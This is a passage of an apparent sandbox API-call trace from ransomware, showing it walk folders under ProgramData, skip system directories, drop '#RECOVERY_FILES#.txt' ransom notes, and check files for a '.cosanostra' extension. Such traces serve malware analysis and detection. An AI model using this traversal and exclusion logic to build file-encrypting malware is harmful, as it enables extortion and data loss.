pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\MSDN\\.") returned 35 [0079.983] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0079.983] FindNextFileW (in: hFindFile=0x25a7f0, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0079.983] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0079.983] lstrlenW (lpString="Windows") returned 7 [0079.983] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0079.983] lstrlenW (lpString="Program Files") returned 13 [0079.983] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0079.983] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.983] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0079.983] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.983] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0079.984] lstrlenW (lpString="System Volume Information") returned 25 [0079.984] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\MSDN\\..") returned 36 [0079.984] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0079.984] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0079.984] FindNextFileW (in: hFindFile=0x25a7f0, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0079.984] lstrcmpiW (lpString1="8.0", lpString2="Windows") returned -1 [0079.984] lstrlenW (lpString="Windows") returned 7 [0079.984] lstrcmpiW (lpString1="8.0", lpString2="Program Files") returned -1 [0079.984] lstrlenW (lpString="Program Files") returned 13 [0079.984] lstrcmpiW (lpString1="8.0", lpString2="Program Files (x86)") returned -1 [0079.984] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.984] lstrcmpiW (lpString1="8.0", lpString2="$Recycle.bin") returned 1 [0079.984] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.984] lstrcmpiW (lpString1="8.0", lpString2="System Volume Information") returned -1 [0079.984] lstrlenW (lpString="System Volume Information") returned 25 [0079.984] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\MSDN\\8.0") returned 37 [0079.984] lstrcmpW (lpString1="8.0", lpString2=".") returned 1 [0079.984] lstrcmpW (lpString1="8.0", lpString2="..") returned 1 [0079.985] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\MSDN\\8.0\\*") returned 39 [0079.985] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\MSDN\\8.0\\*", lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 0x25a830 [0079.986] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0079.986] lstrlenW (lpString="Windows") returned 7 [0079.986] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0079.986] lstrlenW (lpString="Program Files") returned 13 [0079.986] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0079.986] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.986] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0079.986] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.986] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0079.986] lstrlenW (lpString="System Volume Information") returned 25 [0079.986] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\MSDN\\8.0\\.") returned 39 [0079.986] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0079.986] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0079.986] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0079.986] lstrlenW (lpString="Windows") returned 7 [0079.986] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0079.986] lstrlenW (lpString="Program Files") returned 13 [0079.986] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0079.986] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.986] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0079.986] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.986] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0079.986] lstrlenW (lpString="System Volume Information") returned 25 [0079.986] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\MSDN\\8.0\\..") returned 40 [0079.986] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0079.986] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0079.986] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 0 [0079.986] FindClose (in: hFindFile=0x25a830 | out: hFindFile=0x25a830) returned 1 [0079.987] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\MSDN\\8.0\\#RECOVERY_FILES#.txt") returned 58 [0079.987] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\MSDN\\8.0\\#RECOVERY_FILES#.txt") returned 58 [0079.987] FindNextFileW (in: hFindFile=0x25a7f0, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 0 [0079.987] FindClose (in: hFindFile=0x25a7f0 | out: hFindFile=0x25a7f0) returned 1 [0079.987] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\MSDN\\#RECOVERY_FILES#.txt") returned 54 [0079.987] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\MSDN\\#RECOVERY_FILES#.txt") returned 54 [0079.988] FindNextFileW (in: hFindFile=0x25a7b0, lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 1 [0079.988] lstrcmpiW (lpString1="NetFramework", lpString2="Windows") returned -1 [0079.988] lstrlenW (lpString="Windows") returned 7 [0079.988] lstrcmpiW (lpString1="NetFramework", lpString2="Program Files") returned -1 [0079.988] lstrlenW (lpString="Program Files") returned 13 [0079.988] lstrcmpiW (lpString1="NetFramework", lpString2="Program Files (x86)") returned -1 [0079.988] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.988] lstrcmpiW (lpString1="NetFramework", lpString2="$Recycle.bin") returned 1 [0079.988] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.988] lstrcmpiW (lpString1="NetFramework", lpString2="System Volume Information") returned -1 [0079.988] lstrlenW (lpString="System Volume Information") returned 25 [0079.988] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\NetFramework") returned 41 [0079.988] lstrcmpW (lpString1="NetFramework", lpString2=".") returned 1 [0079.989] lstrcmpW (lpString1="NetFramework", lpString2="..") returned 1 [0079.989] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\NetFramework\\*") returned 43 [0079.989] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\NetFramework\\*", lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 0x25a7f0 [0080.056] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0080.056] lstrlenW (lpString="Windows") returned 7 [0080.056] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0080.056] lstrlenW (lpString="Program Files") returned 13 [0080.056] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0080.056] lstrlenW (lpString="Program Files (x86)") returned 19 [0080.056] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0080.056] lstrlenW (lpString="$Recycle.bin") returned 12 [0080.056] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0080.056] lstrlenW (lpString="System Volume Information") returned 25 [0080.056] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\NetFramework\\.") returned 43 [0080.056] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0080.056] FindNextFileW (in: hFindFile=0x25a7f0, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0080.057] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0080.057] lstrlenW (lpString="Windows") returned 7 [0080.057] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0080.057] lstrlenW (lpString="Program Files") returned 13 [0080.057] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0080.057] lstrlenW (lpString="Program Files (x86)") returned 19 [0080.057] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0080.057] lstrlenW (lpString="$Recycle.bin") returned 12 [0080.057] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0080.057] lstrlenW (lpString="System Volume Information") returned 25 [0080.057] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\NetFramework\\..") returned 44 [0080.057] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0080.057] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0080.057] FindNextFileW (in: hFindFile=0x25a7f0, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0080.057] lstrcmpiW (lpString1="BreadcrumbStore", lpString2="Windows") returned -1 [0080.057] lstrlenW (lpString="Windows") returned 7 [0080.057] lstrcmpiW (lpString1="BreadcrumbStore", lpString2="Program Files") returned -1 [0080.057] lstrlenW (lpString="Program Files") returned 13 [0080.057] lstrcmpiW (lpString1="BreadcrumbStore", lpString2="Program Files (x86)") returned -1 [0080.057] lstrlenW (lpString="Program Files (x86)") returned 19 [0080.057] lstrcmpiW (lpString1="BreadcrumbStore", lpString2="$Recycle.bin") returned 1 [0080.057] lstrlenW (lpString="$Recycle.bin") returned 12 [0080.057] lstrcmpiW (lpString1="BreadcrumbStore", lpString2="System Volume Information") returned -1 [0080.057] lstrlenW (lpString="System Volume Information") returned 25 [0080.057] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\NetFramework\\BreadcrumbStore") returned 57 [0080.057] lstrcmpW (lpString1="BreadcrumbStore", lpString2=".") returned 1 [0080.057] lstrcmpW (lpString1="BreadcrumbStore", lpString2="..") returned 1 [0080.059] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\NetFramework\\BreadcrumbStore\\*") returned 59 [0080.059] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\NetFramework\\BreadcrumbStore\\*", lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 0x25a830 [0080.060] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0080.060] lstrlenW (lpString="Windows") returned 7 [0080.060] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0080.060] lstrlenW (lpString="Program Files") returned 13 [0080.060] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0080.060] lstrlenW (lpString="Program Files (x86)") returned 19 [0080.060] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0080.060] lstrlenW (lpString="$Recycle.bin") returned 12 [0080.060] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0080.060] lstrlenW (lpString="System Volume Information") returned 25 [0080.060] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\NetFramework\\BreadcrumbStore\\.") returned 59 [0080.060] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0080.060] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0080.060] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0080.060] lstrlenW (lpString="Windows") returned 7 [0080.060] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0080.060] lstrlenW (lpString="Program Files") returned 13 [0080.060] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0080.060] lstrlenW (lpString="Program Files (x86)") returned 19 [0080.060] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0080.060] lstrlenW (lpString="$Recycle.bin") returned 12 [0080.060] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0080.060] lstrlenW (lpString="System Volume Information") returned 25 [0080.060] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\NetFramework\\BreadcrumbStore\\..") returned 60 [0080.060] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0080.060] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0080.060] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 0 [0080.060] FindClose (in: hFindFile=0x25a830 | out: hFindFile=0x25a830) returned 1 [0080.061] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\NetFramework\\BreadcrumbStore\\#RECOVERY_FILES#.txt") returned 78 [0080.061] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\NetFramework\\BreadcrumbStore\\#RECOVERY_FILES#.txt") returned 78 [0080.061] FindNextFileW (in: hFindFile=0x25a7f0, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 0 [0080.061] FindClose (in: hFindFile=0x25a7f0 | out: hFindFile=0x25a7f0) returned 1 [0080.061] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\NetFramework\\#RECOVERY_FILES#.txt") returned 62 [0080.061] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\NetFramework\\#RECOVERY_FILES#.txt") returned 62 [0080.062] FindNextFileW (in: hFindFile=0x25a7b0, lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 1 [0080.062] lstrcmpiW (lpString1="Network", lpString2="Windows") returned -1 [0080.062] lstrlenW (lpString="Windows") returned 7 [0080.062] lstrcmpiW (lpString1="Network", lpString2="Program Files") returned -1 [0080.062] lstrlenW (lpString="Program Files") returned 13 [0080.062] lstrcmpiW (lpString1="Network", lpString2="Program Files (x86)") returned -1 [0080.062] lstrlenW (lpString="Program Files (x86)") returned 19 [0080.062] lstrcmpiW (lpString1="Network", lpString2="$Recycle.bin") returned 1 [0080.062] lstrlenW (lpString="$Recycle.bin") returned 12 [0080.062] lstrcmpiW (lpString1="Network", lpString2="System Volume Information") returned -1 [0080.062] lstrlenW (lpString="System Volume Information") returned 25 [0080.062] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Network") returned 36 [0080.062] lstrcmpW (lpString1="Network", lpString2=".") returned 1 [0080.062] lstrcmpW (lpString1="Network", lpString2="..") returned 1 [0080.063] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Network\\*") returned 38 [0080.063] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Network\\*", lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 0x25a7f0 [0080.064] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0080.064] lstrlenW (lpString="Windows") returned 7 [0080.064] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0080.064] lstrlenW (lpString="Program Files") returned 13 [0080.064] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0080.064] lstrlenW (lpString="Program Files (x86)") returned 19 [0080.064] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0080.064] lstrlenW (lpString="$Recycle.bin") returned 12 [0080.064] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0080.064] lstrlenW (lpString="System Volume Information") returned 25 [0080.064] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Network\\.") returned 38 [0080.064] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0080.064] FindNextFileW (in: hFindFile=0x25a7f0, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0080.064] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0080.064] lstrlenW (lpString="Windows") returned 7 [0080.064] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0080.064] lstrlenW (lpString="Program Files") returned 13 [0080.064] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0080.064] lstrlenW (lpString="Program Files (x86)") returned 19 [0080.064] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0080.064] lstrlenW (lpString="$Recycle.bin") returned 12 [0080.064] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0080.064] lstrlenW (lpString="System Volume Information") returned 25 [0080.064] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Network\\..") returned 39 [0080.064] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0080.064] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0080.064] FindNextFileW (in: hFindFile=0x25a7f0, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0080.064] lstrcmpiW (lpString1="Connections", lpString2="Windows") returned -1 [0080.064] lstrlenW (lpString="Windows") returned 7 [0080.065] lstrcmpiW (lpString1="Connections", lpString2="Program Files") returned -1 [0080.065] lstrlenW (lpString="Program Files") returned 13 [0080.065] lstrcmpiW (lpString1="Connections", lpString2="Program Files (x86)") returned -1 [0080.065] lstrlenW (lpString="Program Files (x86)") returned 19 [0080.065] lstrcmpiW (lpString1="Connections", lpString2="$Recycle.bin") returned 1 [0080.065] lstrlenW (lpString="$Recycle.bin") returned 12 [0080.065] lstrcmpiW (lpString1="Connections", lpString2="System Volume Information") returned -1 [0080.065] lstrlenW (lpString="System Volume Information") returned 25 [0080.065] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Network\\Connections") returned 48 [0080.065] lstrcmpW (lpString1="Connections", lpString2=".") returned 1 [0080.065] lstrcmpW (lpString1="Connections", lpString2="..") returned 1 [0080.066] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Network\\Connections\\*") returned 50 [0080.066] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Network\\Connections\\*", lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 0x25a830 [0080.067] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0080.067] lstrlenW (lpString="Windows") returned 7 [0080.067] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0080.067] lstrlenW (lpString="Program Files") returned 13 [0080.067] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0080.067] lstrlenW (lpString="Program Files (x86)") returned 19 [0080.067] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0080.067] lstrlenW (lpString="$Recycle.bin") returned 12 [0080.067] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0080.067] lstrlenW (lpString="System Volume Information") returned 25 [0080.067] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Network\\Connections\\.") returned 50 [0080.067] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0080.067] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0080.067] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0080.067] lstrlenW (lpString="Windows") returned 7 [0080.067] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0080.067] lstrlenW (lpString="Program Files") returned 13 [0080.067] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0080.067] lstrlenW (lpString="Program Files (x86)") returned 19 [0080.067] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0080.067] lstrlenW (lpString="$Recycle.bin") returned 12 [0080.067] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0080.067] lstrlenW (lpString="System Volume Information") returned 25 [0080.067] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Network\\Connections\\..") returned 51 [0080.067] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0080.067] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0080.067] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 0 [0080.067] FindClose (in: hFindFile=0x25a830 | out: hFindFile=0x25a830) returned 1 [0080.067] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Network\\Connections\\#RECOVERY_FILES#.txt") returned 69 [0080.067] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\Network\\Connections\\#RECOVERY_FILES#.txt") returned 69 [0080.067] FindNextFileW (in: hFindFile=0x25a7f0, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0080.068] lstrcmpiW (lpString1="Downloader", lpString2="Windows") returned -1 [0080.068] lstrlenW (lpString="Windows") returned 7 [0080.068] lstrcmpiW (lpString1="Downloader", lpString2="Program Files") returned -1 [0080.068] lstrlenW (lpString="Program Files") returned 13 [0080.068] lstrcmpiW (lpString1="Downloader", lpString2="Program Files (x86)") returned -1 [0080.068] lstrlenW (lpString="Program Files (x86)") returned 19 [0080.068] lstrcmpiW (lpString1="Downloader", lpString2="$Recycle.bin") returned 1 [0080.068] lstrlenW (lpString="$Recycle.bin") returned 12 [0080.068] lstrcmpiW (lpString1="Downloader", lpString2="System Volume Information") returned -1 [0080.068] lstrlenW (lpString="System Volume Information") returned 25 [0080.068] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Network\\Downloader") returned 47 [0080.068] lstrcmpW (lpString1="Downloader", lpString2=".") returned 1 [0080.068] lstrcmpW (lpString1="Downloader", lpString2="..") returned 1 [0080.068] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Network\\Downloader\\*") returned 49 [0080.068] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Network\\Downloader\\*", lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 0x25a830 [0080.068] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0080.068] lstrlenW (lpString="Windows") returned 7 [0080.068] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0080.068] lstrlenW (lpString="Program Files") returned 13 [0080.068] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0080.068] lstrlenW (lpString="Program Files (x86)") returned 19 [0080.068] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0080.068] lstrlenW (lpString="$Recycle.bin") returned 12 [0080.068] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0080.068] lstrlenW (lpString="System Volume Information") returned 25 [0080.068] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Network\\Downloader\\.") returned 49 [0080.068] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0080.068] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0080.068] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0080.068] lstrlenW (lpString="Windows") returned 7 [0080.069] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0080.069] lstrlenW (lpString="Program Files") returned 13 [0080.069] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0080.069] lstrlenW (lpString="Program Files (x86)") returned 19 [0080.069] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0080.069] lstrlenW (lpString="$Recycle.bin") returned 12 [0080.069] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0080.069] lstrlenW (lpString="System Volume Information") returned 25 [0080.069] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Network\\Downloader\\..") returned 50 [0080.069] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0080.069] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0080.069] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0080.069] lstrcmpiW (lpString1="qmgr0.dat", lpString2="Windows") returned -1 [0080.069] lstrlenW (lpString="Windows") returned 7 [0080.069] lstrcmpiW (lpString1="qmgr0.dat", lpString2="Program Files") returned 1 [0080.069] lstrlenW (lpString="Program Files") returned 13 [0080.069] lstrcmpiW (lpString1="qmgr0.dat", lpString2="Program Files (x86)") returned 1 [0080.070] lstrlenW (lpString="Program Files (x86)") returned 19 [0080.070] lstrcmpiW (lpString1="qmgr0.dat", lpString2="$Recycle.bin") returned 1 [0080.070] lstrlenW (lpString="$Recycle.bin") returned 12 [0080.070] lstrcmpiW (lpString1="qmgr0.dat", lpString2="System Volume Information") returned -1 [0080.070] lstrlenW (lpString="System Volume Information") returned 25 [0080.070] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Network\\Downloader\\qmgr0.dat") returned 57 [0080.070] StrStrIW (lpFirst="qmgr0.dat", lpSrch=".cosanostra") returned 0x0 [0080.070] lstrcmpW (lpString1="qmgr0.dat", lpString2="#RECOVERY_FILES#.txt") returned 1 [0080.070] lstrcmpW (lpString1="qmgr0.dat", lpString2="_uninstalling_.png") returned 1 [0080.070] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\Network\\Downloader\\qmgr0.dat") returned 57 [0080.070] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0080.070] lstrcmpiW (lpString1="qmgr1.dat", lpString2="Windows") returned -1 [0080.070] lstrlenW (lpString="Windows") returned 7 [0080.070] lstrcmpiW (lpString1="qmgr1.dat", lpString2="Program Files") returned 1 [0080.070] lstrlenW (lpString="Program Files") returned 13 [0080.070] lstrcmpiW (lpString1="qmgr1.dat", lpString2="Program Files (x86)") returned 1 [0080.070] lstrlenW (lpString="Program Files (x86)") returned 19 [0080.070] lstrcmpiW (lpString1="qmgr1.dat", lpString2="$Recycle.bin") returned 1 [0080.070] lstrlenW (lpString="$Recycle.bin") returned 12 [0080.070] lstrcmpiW (lpString1="qmgr1.dat", lpString2="System Volume Information") returned -1 [0080.070] lstrlenW (lpString="System Volume Information") returned 25 [0080.070] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Network\\Downloader\\qmgr1.dat") returned 57 [0080.070] StrStrIW (lpFirst="qmgr1.dat", lpSrch=".cosanostra") returned 0x0 [0080.070] lstrcmpW (lpString1="qmgr1.dat", lpString2="#RECOVERY_FILES#.txt") returned 1 [0080.070] lstrcmpW (lpString1="qmgr1.dat", lpString2="_uninstalling_.png") returned 1 [0080.070] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\Network\\Downloader\\qmgr1.dat") returned 57 [0080.071] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 0 [0080.071] FindClose (in: hFindFile=0x25a830 | out: hFindFile=0x25a830) returned 1 [0080.071] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Network\\Downloader\\#RECOVERY_FILES#.txt") returned 68 [0080.071] lstrlenW 